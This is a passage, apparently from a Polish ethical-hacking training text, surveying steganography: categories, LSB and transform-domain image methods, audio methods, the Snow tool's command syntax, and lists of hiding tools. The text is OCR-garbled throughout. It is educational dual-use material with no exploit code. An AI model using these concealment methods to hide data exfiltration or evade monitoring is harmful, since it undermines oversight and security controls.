steganograficznego. Ponizszy diagram przedstawia klasyfikacje steganografii.
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Steganografia techniczna

Techniczna steganografia wykorzystuje metody fizyczne lub chemiczne, w tym niewidzialny atrament,
mikrokropki i inne $rodki, aby ukry¢ istnienie wiadomosci. Trudno jest sklasyfikowac wszystkie metody,
za pomoca ktorych osigga sie te cele, ale niektére przyktady mozna wymieni¢ w nastepujacy sposdb:

Niewidzialny atrament



Niewidoczny atrament lub ,,atrament zabezpieczajgcy” to jedna z metod steganografii technicznej.
Stuzy do niewidocznego pisania bezbarwnymi ptynami i moze by¢ pdzniej uwidoczniony przez pewne
wczesniej uzgodnione manipulacje, takie jak oswietlenie lub ogrzewanie. Na przyktad, jesli uzyjesz soku
z cebuli i mleka do napisania wiadomosci, pismo bedzie niewidoczne, ale po podgrzaniu pisma zmieni
kolor na brazowy, dzieki czemu wiadomos$¢ stanie sie widoczna. Zastosowania niewidzialnego
atramentu sg nastepujgce:

0 Szpiegostwo

o Walka z podrabianiem

o Oznakowanie nieruchomosci

o Reczne stemplowanie w celu ponownego przyjecia na miejsce
o Znakowanie identyfikacyjne w produkcji

Mikrokropki

Mikrokropka to tekst lub obraz znacznie zageszczony (za pomocg odwréconego mikroskopu),
mieszczacy sie w jednej kropce do jednej strony, aby unikngé wykrycia przez niezamierzonych
odbiorcéw. Mikrokropki sg zwykle okragte i majg srednice okoto jednego milimetra, ale mozna je
przeksztatci¢ w rdzne ksztatty i rozmiary.

Metody komputerowe

Metoda komputerowa wprowadza zmiany do no$nikéw cyfrowych w celu osadzenia informacji obcych
w stosunku do nosnikéw rodzimych. Komunikacja takich informacji odbywa sie w formie tekstu, plikéw
binarnych, dyskéw i urzadzen pamieci masowej oraz ruchu sieciowego i protokotéw. Moze zmienia¢
oprogramowanie, mowe, obrazy, filmy lub dowolny inny cyfrowo reprezentowany kod do transmisji.

Techniki steganografii komputerowe;j

W oparciu o modyfikacje oktadki zastosowane w procesie osadzania, techniki steganograficzne mozna
podzieli¢ na szes$¢ grup, ktére sg nastepujace:

o Techniki zastepcze: w tej technice atakujgcy prébuje zaszyfrowaé tajne informacje, zastepujac
nieistotne bity tajng wiadomoscia. Jesli odbiorca zna miejsca, w ktérych atakujgcy umieszcza tajne
informacje, moze wydoby¢ tajng wiadomos¢.

o Techniki domeny transformacji: Technika domeny transformacji ukrywa informacje w znacznych
czesciach obrazu okfadki, takich jak kadrowanie, kompresja i niektdre inne obszary przetwarzania
obrazu. Utrudnia to przeprowadzanie atakéw. Transformacje mozna zastosowac¢ do blokéw obrazéw
lub catego obrazu.

o Techniki Spread Spectrum: Ta technika jest mniej podatna na przechwycenie i zagtuszanie. W tej
technice sygnaty komunikacyjne zajmujg wiekszg szerokos¢ pasma niz jest to wymagane do wystania
informacji. Nadawca zwieksza rozproszenie pasma za pomocg kodu (niezaleznie od danych), a odbiorca
wykorzystuje zsynchronizowany odbiér z kodem do odzyskania informacji z danych widma
rozproszonego.

o Techniki statystyczne: Technika ta wykorzystuje istnienie ,1-bitowych” schematéw steganografii
poprzez modyfikacje oktadki w taki sposéb, ze w przypadku transmisji ,1” niektére cechy statystyczne
znacznie sie zmieniajg. W innych przypadkach oktadka pozostaje niezmieniona, aby rozrézni¢ oktadki
zmodyfikowane i niezmodyfikowane. Teoria hipotez ze statystyki matematycznej pomaga w ekstrakgji.



o Techniki znieksztatcenia: W tej technice uzytkownik wprowadza sekwencje modyfikacji ostony, aby
uzyskac obiekt stego. Sekwencja modyfikacji reprezentuje transformacje okres$lonego komunikatu.
Proces dekodowania w tej technice wymaga znajomosci oryginalnej okfadki. Odbiorca wiadomosci
moze zmierzy¢ réznice miedzy oryginalng oktadkg a otrzymang oktadka, aby zrekonstruowac
sekwencje modyfikacji.

o Techniki generowania oktadek: W tej technice obiekty cyfrowe sg opracowywane specjalnie w celu
ukrycia tajnej komunikacji. Zakodowanie tych informacji zapewnia stworzenie przykrywki dla tajnej
komunikacji.

Steganografia jezykowa

Ten rodzaj steganografii ukrywa wiadomos$¢ na nosniku innego pliku. Dalsza klasyfikacja steganografii
jezykowej obejmuje semagramy i otwarte kody.

Semagramy

Semagramy obejmujg technike steganografii, ktdra ukrywa informacje za pomocg znakéw lub symboli.
W tej technice uzytkownik osadza pewne obiekty lub symbole w danych, aby zmieni¢ wyglad danych
na z gory okreslone znaczenie. Klasyfikacja semagraméw jest nastepujaca:

o Semagramy wizualne: Ta technika ukrywa informacje w rysunku, obrazie, liscie, muzyce lub symbolu.

0 Semagramy tekstowe: Semagram tekstowy ukrywa wiadomos¢ tekstowg poprzez konwersje lub
transformacje wygladu wiadomosci tekstowej nosnika, na przyktad poprzez zmiane rozmiaréw i styléw
czcionek, dodanie dodatkowych spacji jako biatych znakéw w dokumencie oraz uwzglednienie réznych
ozdobnikéw w literach lub tekscie pisanym odrecznie .

Otwarte kody

Otwarty kod ukrywa tajng wiadomosé w legalnej wiadomosci przewoznika specjalnie zaprojektowanej
we wzér na dokumencie, ktory jest niejasny dla przecietnego czytelnika. Wiadomos¢ przewoznika jest
czasami nazywana komunikacjg jawng, a wiadomos¢ tajna - komunikacjg ukryty. Technika otwartego
kodu sktada sie z dwéch gtéwnych grup: kody zargonowe i szyfry kryte.

o Kody zargonowe: w tego rodzaju steganografii uzywany jest okreslony jezyk, ktéry moze byc
zrozumiaty dla okreslonej grupy oséb, do ktdrych jest adresowany, podczas gdy dla innych jest bez
znaczenia. Wiadomos¢ zargonowa pod wieloma wzgledami przypomina szyfr zastepczy, ale zamiast
zastepowania pojedynczych liter, zmieniane sg same stowa. Przyktadem kodu zargonowego jest kod
,cue”. Wskazéwka to stowo, ktdre pojawia sie w tekscie, a nastepnie przenosi wiadomos¢.

o Zakryte szyfry: Ta technika ukrywa wiadomos¢ na nosniku widocznym dla wszystkich. Tego typu
wiadomos$é moze wydobyc kazda osoba, ktdra zna metode stosowang do jej ukrycia. Dalsza klasyfikacja
szyfrow naktadkowych obejmuje szyfry zerowe i szyfry kratowe.

o Szyfry zerowe: Technika uzywana do ukrywania wiadomosci w duzej ilosci bezuzytecznych danych.
Oryginalne dane sg mieszane z niewykorzystanymi danymi w dowolnej kolejnosci poziomej, ukosnej,
pionowej lub odwrotnej, tak ze nikt inny nie moze ich zrozumieé poza tymi, ktdrzy znajg kolejnosc.

o Szyfry kratowe: Technika uzywana do szyfrowania tekstu jawnego poprzez zapisywanie go na kartce
papieru przez przedziurawiong (lub z szablonem) kartke papieru, tekture lub inny podobny materiat.
W tej technice mozna rozszyfrowa¢ wiadomos¢ za pomocy identycznej kratki. Ten system jest wiec
trudny do ztamania i rozszyfrowania, poniewaz tylko ktos z odpowiednig maskownicg bedzie w stanie
rozszyfrowac ukrytg wiadomosé.



Rodzaje steganografii w oparciu o Cover Medium

Steganografia to sztuka i nauka pisania ukrytych wiadomosci w taki sposdb, ze nikt poza zamierzonym
odbiorca nie wie o istnieniu wiadomosci. Rosngce wykorzystanie formatéw plikdw elektronicznych
wraz z nowymi technologiami umozliwito ukrywanie danych. Podstawowg steganografie mozna
podzieli¢ na dwa obszary: ukrywanie danych i tworzenie dokumentéw. Dokumentacja zajmuje sie
ochrong przed usunieciem. Dalsze klasyfikacje nosnika okfadki obejmujg znak wodny i odcisk palca.

Wyrdznia sie nastepujace rodzaje steganografii:
* Steganografia obrazu

* Steganografia dokumentow

*Steganografia folderow

* Wideo Steganografia

*Steganografia dzwieku

*Steganografia spacji

* Steganografia sieciowa

*Steganografia spamu/e-maili

*Steganografia DVD-ROM

*Steganografia tekstu naturalnego

* Ukryta steganografia systemu operacyjnego

* C++ Steganografia kodu Zrédtowego

Steganografia biatych znakow

Steganografia biatych znakéw stuzy do ukrywania wiadomosci w tekscie ASCIlI poprzez dodawanie
biatych znakdéw na koncach wierszy. Poniewaz spacje i tabulatory sg na ogdt niewidoczne w
przegladarkach tekstu, wiadomos¢ jest skutecznie ukrywana przed przypadkowymi obserwatorami.
Jesli uzywane jest wbudowane szyfrowanie, wiadomosci nie mozna odczytaé, nawet jesli zostanie
wykryta.

Snieg

Snow to program do ukrywania wiadomosci w plikach tekstowych poprzez dodawanie tabulatoréw i
spacji na koncach wierszy oraz do wydobywania wiadomosci z plikdw zawierajgcych ukryte
wiadomosci. Uzytkownik ukrywa dane w pliku tekstowym, dodajgc sekwencje do siedmiu spaciji,
przeplatane z zaktadkami. Zwykle pozwala to na przechowywanie trzech bitéw co osiem kolumn.
Istnieje alternatywny schemat kodowania, ktéry wykorzystuje naprzemienne spacje i tabulatory do
reprezentowania Os i Is. Jednak uzytkownicy odrzucili to, poniewaz zuzywa mniej bajtéw, ale wymaga
wiecej kolumn na bit (4,5 vs. 2,67). Dotgczony znak tabulacji wskazuje poczatek danych, co umozliwia
wstawianie nagtdwkow poczty i wiadomosci bez uszkodzenia danych.

Jak pokazano na zrzucie ekranu, osoby atakujgce uzywajg narzedzia Snow do ukrywania wiadomosci w
pliku tekstowym za pomoca nastepujgcego polecenia:



Sktadnia: snieg [ -CQS ] [ -p hasto ] [ -I dtugosé-linii ] [ -f plik | -m wiadomosc¢ ] [ plik wejsciowy [ plik
wyjsciowy ]]

Opcje:
0 -C: Kompresuj dane w przypadku ukrywania lub dekompresuj je w przypadku wyodrebniania.

0-Q: Tryb cichy. Jesli nie jest ustawiona, program raportuje statystyki, takie jak procent kompres;ji i
ilos¢ uzytej dostepnej przestrzeni dyskowej.

0-S: Raport o przyblizonej ilo$ci miejsca dostepnego dla ukrytej wiadomosci w pliku tekstowym.
Dtugosé linii jest poprawna, ale zignoruj inne opcje.

0-p password: jesli jest ustawione, szyfrowanie danych odbywa sie przy uzyciu tego hasta podczas
ukrywania lub odszyfrowywania podczas ekstrakcji.

o-l line-length: Podczas dodawania biatych znakéw Snow zawsze tworzy linie krétsze niz ta wartosé.
Domyslnie dtugos¢ linii wynosi 80.

o-f message-file: Wejsciowy plik tekstowy ukryje zawartosc¢ tego pliku.

o-m message-string: Wejsciowy plik tekstowy ukryje zawartos$¢ tego ciggu. Zauwaz, ze jesli nowy wiersz
nie zostanie w jaki$ sposdb zawarty w tancuchu, nie pojawi sie on w wyodrebnionej wiadomosci.

Steganografia obrazu

Obrazy sg najpopularniejszymi obiektami oktadek uzywanymi do steganografii. Steganografia obrazu
pozwala ukry¢ tajng wiadomos¢ w obrazie. Mozesz wykorzystac zbedne fragmenty obrazu, aby ukry¢
w nim swojg wiadomos¢. Te nadmiarowe bity to te czesci obrazu, ktére majg bardzo maty wptyw na
obraz, jesli zostang zmienione. Wykrycie tej zmiany nie jest tatwe. Mozesz ukry¢ swoje informacje w
obrazach w réinych formatach (np. .PNG, JPG, .BMP). Obrazy sg popularnymi ,obiektami
oktadkowymi” uzywanymi do steganografii poprzez zastepowanie zbednych bitéw danych obrazu
wiadomoscig w taki sposéb, ze ludzkie oczy nie sg w stanie wykry¢ efektu. Steganografia obrazu dzieli
sie na dwa rodzaje: domene obrazu i domene transformacji. W technikach domeny obrazu
(przestrzennej) uzytkownik osadza wiadomosci bezposrednio w intensywnosci pikseli. W technikach
transformdomain (czestotliwosciowych) najpierw nastepuje transformacja obrazéw; nastepnie
uzytkownik osadza wiadomos¢ w obrazie. Ponizszy rysunek przedstawia proces steganografii obrazu i
role narzedzi steganograficznych w tym procesie.
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Techniki steganografii plikéw obrazéw
Wstawianie najmniej znaczacego bitu

Technika wstawiania najmniej znaczacych bitow jest najczesciej stosowang technikg steganografii
obrazu, w ktérej najmniej znaczacy bit (LSB) kazdego piksela pomaga przechowywac tajne dane. LSB
to skrajny prawy bit kazdego piksela obrazu. W metodzie wstawiania LSB dane binarne wiadomosci sg



dzielone i wstawiane do LSB kazdego piksela w pliku obrazu w deterministycznej sekwenciji.
Modyfikacja LSB nie powoduje widocznej rdznicy, poniewaz zmiana netto jest minimalna i moze by¢
niezauwazalna dla ludzkiego oka. Dlatego jego wykrycie jest trudne.

Ukrywanie danych:

o Narzedzie stego tworzy kopie palety obrazéw za pomocg modelu czerwonego, zielonego i
niebieskiego (RGB)

o Kazdy piksel 8-bitowe]j liczby binarnej LSB jest zastepowany jednym bitem ukrytej wiadomosci
o Tworzony jest nowy kolor RGB w skopiowanej palecie
0 Wraz z nowym kolorem RGB piksel jest zmieniany na 8-bitowg liczbe binarna

Zatézmy, ze wybrates 24-bitowy obraz, aby ukry¢ swoje tajne dane, ktdre mozesz przedstawié w formie
cyfrowej w nastepujgcy sposob:

(00100111 11101001 11001000) (00100111 11001000 11101001) (11001000
00100111 11101001)

Zatdzmy, ze chcesz ukryc litere ,H” na powyzszym 24-bitowym obrazie. System reprezentuje litere ,H”
za pomocg cyfr binarnych 01001000. Aby ukry¢ to ,,H”, mozesz zmienic¢ poprzedni strumien na:

(00100110 11101001 11001000 (00100110 11001001 11101000} (11001000 00100110 11101001)

1 ‘s ‘s ‘i ‘i ‘s 4 ‘]

H=01001000

Woystarczy zastgpi¢ LSB kazdego piksela pliku obrazu, jak pokazano na rysunku. Aby odzyskac¢ to H po
drugiej stronie, odbiorca faczy wszystkie bity obrazu LSB i dzieki temu jest w stanie wykry¢ H.

Maskowanie i filtrowanie

Techniki maskowania i filtrowania wykorzystujg ograniczenia ludzkiego wzroku, ktdry nie jest w stanie
wykry¢ niewielkich zmian w obrazach. Obrazy w skali szarosci i cyfrowe znaki wodne mogg ukrywac
informacje w sposéb podobny do znakéw wodnych na papierze. Maskowanie umozliwia ukrycie
tajnych danych poprzez umieszczenie ich w pliku obrazu. Technik maskowania i filtrowania mozna
uzywac do obrazow o rozdzielczosci 24 bity na piksel iw skali szarosci. Aby ukry¢ tajne wiadomosci,
musisz dostosowac jasnosc i krycie obrazu. Jesli zmiana luminancji jest nieznaczna, to osoby inne niz
zamierzony odbiorca nie zauwazg, ze obraz zawiera ukryty przekaz. Technike te mozna fatwo
zastosowaé, poniewaz obraz pozostaje nienaruszony. W wiekszosci przypadkéw uzytkownicy
wykonuja maskowanie obrazéw JPEG. Stratne obrazy JPEG s3g stosunkowo odporne na operacje
przycinania i kompresji obrazu. Dlatego mozesz ukry¢ swoje informacje w stratnych obrazach JPEG,
czesto stosujgc technike maskowania. Jesli wiadomos¢ ukrywa sie w znaczgcych obszarach obrazu,
obraz steganograficzny zakodowany z oznaczeniem ulega degradacji z mniejszg szybkoscig przy
kompresji JPEG. Techniki maskowania mozna wykry¢ za pomocg prostej analizy statystycznej, ale sg
one odporne na kompresje stratng i kadrowanie obrazu. Informacja nie jest ukryta w szumie, ale w
istotnych obszarach obrazu.

Algorytmy i transformacja



Algorytmy i technika transformacji polegajg na ukrywaniu tajnych informacji podczas kompresji
obrazu. W tej technice uzytkownik ukrywa informacje, stosujgc rézne algorytmy kompresji i funkcje
transformacji. Algorytm kompresji i transformacja wykorzystuje funkcje matematyczng do ukrycia
wspotczynnika najmniejszego bitu podczas kompresji obrazu. Dane sg osadzane w obrazie okfadki
poprzez zmiane wspotczynnikdw transformacji obrazu. Ogélnie rzecz biorac, obrazy JPEG sg najbardziej
odpowiednie do kompresji, poniewaz mogg dziata¢ z réznymi poziomami kompresji. Technika ta
zapewnia wysoki poziom niewidzialnosci tajnych danych. Obrazy JPEG uzywajg dyskretnej
transformacji kosinusowej w celu uzyskania kompresji. W algorytmie kompresji stosowane sg trzy
rodzaje transformacji:

o Szybka transformacja Fouriera
o Dyskretna transformacja kosinusowa
o Transformacja falkowa

Jesli uzytkownik osadza informacje w domenie przestrzennej techniki wstawiania LSB, informacje
ukryte w obrazach mogg by¢ podatne na ataki. Atakujgcy moze wykorzystaé proste techniki
przetwarzania sygnatu i uszkodzi¢ informacje ukryte w obrazie, uzywajgc techniki wstawiania LSB.
Moze to odnosic sie do utraty informacji, gdy obraz przechodzi pewne techniki przetwarzania, takie jak
kompresja. Aby przezwyciezy¢ te problemy, mozna ukry¢ informacje za pomocg technik opartych na
dziedzinie czestotliwosci, takich jak szybka transformacja Fouriera, dyskretna transformacja
kosinusowa lub transformacja falkowa. Dane cyfrowe nie sg ciggte w dziedzinie czestotliwosci. Analiza
danych obrazu, do ktérych stosuje sie transformacje w dziedzinie czestotliwosci, staje sie niezwykle
trudna, co utrudnia przeprowadzenie atakdéw kryptoanalizy.

Narzedzia do steganografii obrazéow

e OpenStego

OpenStego to aplikacja steganograficzna, ktéra zapewnia nastepujgce funkcje,
o Ukrywanie danych: moze ukry¢ dowolne dane w pliku oktadki (np. obrazy)

o Znak wodny: pliki ze znakiem wodnym (np. obrazy) z niewidocznym podpisem. Moze by¢ uzywany
do wykrywania nieautoryzowanego kopiowania plikow.

Oto kilka przyktadéw narzedzi do steganografii obrazu:
* StegOnline (https://stegonline.georgeom.net)
*Coagula (https://www.abc.se)

*QuickStego (http://guickcrypto.com)

* SSuite Picsel (https://www.ssuitesoft.com)

* CryptaPix (https://www.briggsoft.com)
Steganografia dokumentow

Steganografia dokumentdw to technika ukrywania tajnych wiadomosci przekazywanych w formie
dokumentdéw. Obejmuje dodawanie spacji i tabulatoréow na korcach linii. Stegodocument to dokument
przewodni zawierajgcy ukrytg wiadomosc. Algorytmy steganograficzne, okreslane jako ,,system stego”,
sg wykorzystywane do ukrywania tajnych wiadomosci w nosniku ostonowym po stronie nadawcy. Ten



sam algorytm jest uzywany przez odbiorce do wyodrebnienia ukrytej wiadomosci z dokumentu stego.
Ponizszy diagram ilustruje proces steganografii dokumentu:
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Narzedzia steganografii dokumentéow

Narzedzia do steganografii dokumentéw pomagajg w ukrywaniu plikow w dokumentach, takich jak
pliki tekstowe lub html, przy uzyciu metod steganografii.

StegoStick

StegoStick to narzedzie steganograficzne, ktére pozwala atakujgcym ukry¢ dowolny plik w dowolnym
innym pliku. Opiera sie na steganografii obrazu, dZzwieku lub wideo, ktéra ukrywa dowolny plik lub
wiadomos$¢ w obrazie (BMP, JPG, GIF itp.), audio/wideo (MPG, WAV itp.) lub w dowolnym innym
formacie pliku ( PDF, EXE, CHM itp.).

Oto kilka przyktaddw narzedzi do steganografii dokumentéw:

e StegJ ( http://stegj.sourceforge.net )

e Office XML (https://www.irongeek.com)

* SNOW (http://www.darkside.com.au)

e Data Stash ( https://www.skyjuicesoftware.com)

e Texto (http://www.eberl.net )e SteglJ ( http://stegj.sourceforge.net )
Steganografia wideo

Omowiona wczesniej steganografia obrazu moze ukry¢ tylko niewielkg ilos¢ danych w plikach
nos$nikdw obrazu. Dlatego steganografia obrazu moze by¢ stosowana tylko wtedy, gdy w plikach
obrazéw majg by¢ ukryte niewielkie ilosci danych. Jednak steganografii wideo mozna uzy¢, gdy
konieczne jest ukrycie duzej ilosci danych w plikach nosnych. Steganografia wideo to technika
ukrywania dowolnego rodzaju pliku z dowolnym rozszerzeniem w przenoszonym pliku wideo.
Informacje sg ukryte w plikach wideo w réznych formatach, takich jak .AVI, .MPG4, WMV itp.
Dyskretna transformata kosinusowa (DCT) stuzy do dodawania tajnych danych w czasie procesu
transformacji wideo. Pliki wideo przenoszg tajne informacje z jednego konica na drugi. Zapewnia to
wieksze bezpieczenstwo Twoich tajnych informacji. W plikach wideo mozna ukryé wiele tajnych
wiadomosci, poniewaz kazda klatka sktada sie zaréwno z obrazu, jak i dZzwieku. Poniewaz nosny plik
wideo jest ruchomym strumieniem obrazéw i dzwieku, niepozgdanemu odbiorcy trudno jest zauwazy¢
znieksztatcenie pliku wideo spowodowane tajng wiadomoscia, a zatem wiadomosé moze pozostaé
niezauwazona z powodu ciggtego przeptywu wideo. Mozesz zastosowacé wszystkie dostepne techniki
steganografii obrazu i dZzwieku do steganografii wideo. Informacje ukryte w plikach wideo sg prawie
niemozliwe do rozpoznania przez ludzkie oko, poniewaz zmiana koloru pikseli jest rowniez znikoma.
Nastepujgce narzedzia utatwiajg ukrywanie tajnych informacji w odtwarzanych filmach za pomoca
steganografii wideo:



OmniHide Pro

OmniHide PRO pozwala ukryé¢ dowolny tajny plik w nieszkodliwym obrazie, wideo, pliku muzycznym
itp. Uzytkownik moze uzywac lub udostepniaé wynikowy plik stego jak normalny plik bez znajomosci
ukrytej zawartosci; w ten sposdb to narzedzie umozliwia zapisanie tajnego pliku przed wscibskimi
oczami. Umozliwia takze dodanie hasta w celu ukrycia pliku i zwiekszenia bezpieczenstwa.

Oto kilka przyktadédw narzedzi do steganografii wideo:
RT Steganography (https://rtstegvideo.sourceforge.net )
StegoStick (https://sourceforge.net )

OpenPuff ( https://embeddedsw.net )

MSU StegoVideo ( http://www.compression.ru )
Steganografia audio

W steganografii audio uzytkownik osadza ukryte wiadomosci w cyfrowym formacie dzwiekowym.
Steganografia audio pozwala ukry¢ tajng wiadomos¢ w pliku audio, takim jak plik audio WAV, AU, a
nawet MP3. Osadza tajne wiadomosci w plikach audio, nieznacznie zmieniajac sekwencje binarng pliku
audio. Zmiany w pliku audio po wstawieniu nie sg tatwe do wykrycia iw ten sposéb tajne wiadomosci
mozna zabezpieczy¢ przed wscibskimi uszami. Plik audio przewoznika nie powinien by¢ znieksztatcony,
aby unikngé wykrycia ukrytych wiadomosci. Dlatego nalezy osadzi¢ tajne dane w taki sposdb, aby
niewielka zmiana w pliku audio mogta pozosta¢ niezauwazona podczas stuchania. Mozna ukry¢
informacje w pliku audio, zastepujgc LSB lub uzywajac czestotliwosci niestyszalnych dla ludzkiego ucha
(>20 000 Hz).

Metody steganografii audio

Dostepne sg pewne metody ukrywania tajnych wiadomosci w plikach audio. Niektére metody
implementuja algorytm polegajgcy na wstawianiu tajnych informacji w postaci sygnatu szumu, podczas
gdy inne polegajg na wykorzystaniu wyrafinowanych technik przetwarzania sygnatu w celu ukrycia
informacji. Do wykonania steganografii audio w celu ukrycia informacji mozna uzy¢ nastepujacych
metod:

Ukrywanie danych echa

W metodzie ukrywania danych echa mozna osadzi¢ tajne informacje w sygnale audio nosnej,
wprowadzajgc do niego echo. Uzywane s3 trzy parametry echa, a mianowicie poczatkowa amplituda,
szybkos¢ zanikania i przesuniecie lub opdzZnienie, aby ukry¢ tajne dane. Kiedy przesuniecie miedzy
sygnatem nosnym a echem maleje, f3czg sie one w pewnym momencie, w ktérym ludzkie ucho nie jest
w stanie rozréznié tych dwéch sygnatéw. W tym momencie mozesz ustysze¢ echo jako dodatkowy
rezonans do oryginalnego sygnatu. Jednak ten punkt nierozréznialnych dzwiekdéw zalezy od czynnikéw,
takich jak jakos$¢ oryginalnego sygnatu dZwieku, rodzaj dzwieku i ostros¢ stuchacza. Aby zakodowac
wynikowy sygnat w postaci binarnej, stosuje sie dwa rdézne czasy opdznienia. Te czasy opdznienia
powinny by¢ ponizej poziomu ludzkiej percepcji. Parametry, takie jak szybko$¢é zanikania i poczatkowa
amplituda, réwniez powinny by¢ ustawione ponizej progowych wartosci styszalnych, aby dzwiek nie
byt styszalny.

Metoda widma rozproszonego



Ta metoda wykorzystuje dwie wersje widma rozproszonego: widmo rozproszone z sekwencjg
bezposrednig (DSSS) i widmo rozproszone ze skokiem czestotliwosci (FHSS).

o Direct-Sequence Spread Spectrum (DSSS): DSSS to technika modulacji czestotliwosci, w ktorej
urzadzenie komunikacyjne rozprowadza sygnat o niskiej przepustowosci w szerokim zakresie
czestotliwosci, aby umozliwi¢ wspoétdzielenie jednego kanatu przez wielu uzytkownikéw. Technika
steganografii DSSS transponuje tajne wiadomosci na czestotliwosci fal radiowych. DSSS wprowadza
troche losowego szumu do sygnatu.

o Rozprzestrzenianie widma z przeskakiwaniem czestotliwosci (FHSS): W trybie FHSS uzytkownik
zmienia widmo czestotliwosci pliku audio, tak aby przeskakiwato ono szybko miedzy czestotliwosciami.
Metoda widma rozproszonego odgrywa znaczacy role w bezpiecznej komunikacji, zaréwno
komercyjnej, jak i wojskowej.

Kodowanie LSB

Kodowanie LSB dziata podobnie do techniki wstawiania LSB, w ktorej uzytkownicy mogg wstawic tajng
wiadomos$¢é binarng w najmniej znaczagcym bicie kazdego punktu prébkowania sygnatu audio. Ta
metoda pozwala ukry¢ ogromne ilosci tajnych danych. Mozliwe jest uzycie dwdch ostatnich znaczgcych
bitéw do wstawienia tajnych danych binarnych, ale istnieje ryzyko powstania szumu w pliku audio. Jej
staba odpornos¢ na manipulacje czyni te metode mniej adaptacyjng. Mozesz tatwo zidentyfikowad
dodatkowe ukryte dane z powodu szumu kanatu i ponownego prébkowania.

Wstawianie tonéw

Ta metoda polega na osadzeniu danych w sygnale audio poprzez wstawienie tondéw o niskim poborze
mocy. Tony te nie sg styszalne w obecnosci sygnatéw audio o znacznie wiekszej mocy, dlatego obecnosc
tajnej wiadomosci jest ukryta. Podstuchujagcemu jest niezwykle trudno wykry¢ tajng wiadomosé z
sygnatu dzwiekowego. Ta metoda pomaga unikng¢ atakdw, takich jak filtrowanie dolnoprzepustowe i
obcinanie bitdw. Oprogramowanie do steganografii audio implementuje jedng z tych metod
steganografii audio w celu osadzenia tajnych danych w plikach audio.

Kodowanie fazy

Kodowanie fazy jest opisane jako faza, w ktérej poczatkowy segment audio jest zastepowany przez
faze odniesienia, ktdra reprezentuje dane. Koduje tajne bity wiadomosci jako przesuniecia fazowe w
widmie fazowym sygnatu cyfrowego, osiggajgc miekkie kodowanie pod wzgledem stosunku sygnatu do
szumu.

Narzedzia steganografii audio

Na rynku dostepnych jest wiele narzedzi, ktére mogg pomadc w ukryciu tajnych informacji w pliku audio.
Oto kilka przyktadéw narzedzi do steganografii audio do ukrywania tajnych informacji w plikach audio:

Gteboki dzwiek

DeepSound pozwala ukryé wszelkie tajne dane w plikach audio (WAV i FLAC). Pozwala takze
wyodrebni¢ tajne pliki bezposrednio ze sciezek audio CD. Ponadto moze szyfrowaé tajne pliki,
zwiekszajac w ten sposéb bezpieczenstwo.

Oto kilka przyktaddw narzedzi do steganografii audio:
BitCrypt (http://bitcrypt.moshe-szweizer.com)

StegoStick (https://sourceforge.net)



MP3Stego ( https://www.petitcolos.net )
QuickCrypto (http://www.quickcrypto.com)
spektrologia (https://github.com)
Steganografia folderéw

Steganografia folderéw odnosi sie do ukrywania tajnych informacji w folderach. Pliki sg ukryte i
zaszyfrowane w folderze i nie sg widoczne dla standardowych aplikacji systemu Windows, w tym
Eksploratora Windows. W tym procesie uzytkownik fizycznie przenosi plik, ale nadal pozostaje
powigzany z oryginalnym folderem w celu odzyskania.

Narzedzia do steganografii folderow
GiliSoft File Lock Pro

GiliSoft File Lock Pro ogranicza dostep do plikéw, folderéow i sterownikow, blokujac je, ukrywajac lub
chronigc hastem. Atakujgcy mogg zatem uzywac tego narzedzia do tych celéw. Dzieki temu
programowi nikt nie moze uzyskaé dostepu do danych osoby atakujacej ani ich zniszczy¢ bez hasta.

Oto kilka przyktaddw narzedzi do steganografii folderéw:
* Folder Lock (https://www.newsoftwares.net )

* Hide Folders 5 ( https://fspro.net )

*invisibleSecrets (https://www.east-tec.com)
*QuickCrypto ( http://www.quickcrypto.com)
Steganografia spamu/e-maili

Steganografia spamu/e-maili odnosi sie do techniki wysytania tajnych wiadomosci poprzez ich
osadzanie i ukrywanie osadzonych danych w wiadomosciach spamowych. Rézne agencje wojskowe
podobno uzywaja tej techniki za pomoca algorytméw steganografii. Mozesz uzy¢ narzedzia Spam
Mimic, aby ukryé tajng wiadomos¢ w wiadomosci e-mail.

Narzedzie do steganografii spamu/e-maili
Nasladownictwo spamu

Spam Mimic to ,gramatyka” spamu dla silnika mimicznego autorstwa Petera Waynera. To koduje tajne
wiadomosci w niewinnie wyglgdajgce wiadomosci spamowe. Koder tego narzedzia koduje tajng
wiadomos¢ jako spam z hastem, fatszywym PGP, fatszywym rosyjskim i spacja.

Inne rodzaje steganografii

Web Steganography: W steganografii internetowej uzytkownik ukrywa obiekty internetowe za innymi
obiektami i przesyta je na serwer WWW.

DVD-ROM Steganography: W steganografii DVD-ROM uzytkownik osadza zawarto$¢ w danych audio i
graficznych.

Naturalna steganografia tekstu: Naturalna steganografia tekstu to proces przeksztatcania poufnych
informacji w swobodng mowe zdefiniowang przez uzytkownika, taka jak gra.



Steganografia ukrytego systemu operacyjnego: Steganografia ukrytego systemu operacyjnego to
proces ukrywania jednego systemu operacyjnego w innym.

Steganografia kodu zrédtowego C++: W steganografii kodu zrodtowego C++ uzytkownik ukrywa zestaw
narzedzi w plikach.

Narzedzia steganograficzne dla telefonéw komérkowych

Woczesniej omowilismy szerokg game aplikacji/narzedzi, ktére mogg by¢ przydatne do ukrywania
tajnych wiadomosci na réznego rodzaju nos$nikach, takich jak obrazy, audio, wideo i tekst. Te narzedzia
dziatajg tylko na réznych platformach komputeréw stacjonarnych lub laptopéw. Jednak dostepnych
jest réwniez wiele aplikacji mobilnych, ktore dziatajg jako narzedzia steganograficzne dla telefonéw
komdrkowych. Uzytkownicy mobilni mogg uzywac tych aplikacji do wysytania tajnych wiadomosci. Oto
niektdre narzedzia steganograficzne dziatajgce na urzgdzeniach mobilnych:

e Stegaje

Stegais moze ukry¢ wiadomos$é na wybranym obrazie z biblioteki zdje¢ lub na zdjeciu zrobionym przez
aparat.

Oto kilka dodatkowych narzedzi steganograficznych dla telefonéw komérkowych:
¢ SPY PIX (https://www.juicybitssoftware.com)

e Pixelknot: Ukryte wiadomosci ( https://guardianproject.info )

* Steganografia (https://github.com)

¢ No Clue (https://play.google.com)

e Zdjecia ukryte dane (https://play.google.com)

Steganaliza

Stegananaliza to proces odkrywania istnienia ukrytych informacji w medium. Jest to proces odwrotny
do steganografii. Jest to atak na bezpieczeristwo informacji, w ktérym osoba atakujgca, okreslana tutaj
jako stegananalityk, prébuje wykry¢ ukryte wiadomosci osadzone w nos$nikach obrazu, tekstu, dzwieku
i wideo za pomocy steganografii. Steganalysis okresla zakodowang ukrytg wiadomos¢ i, jesli to
mozliwe, odzyskuje wiadomosé. Moze wykry¢ wiadomosé, patrzac na odchylenia miedzy wzorcami
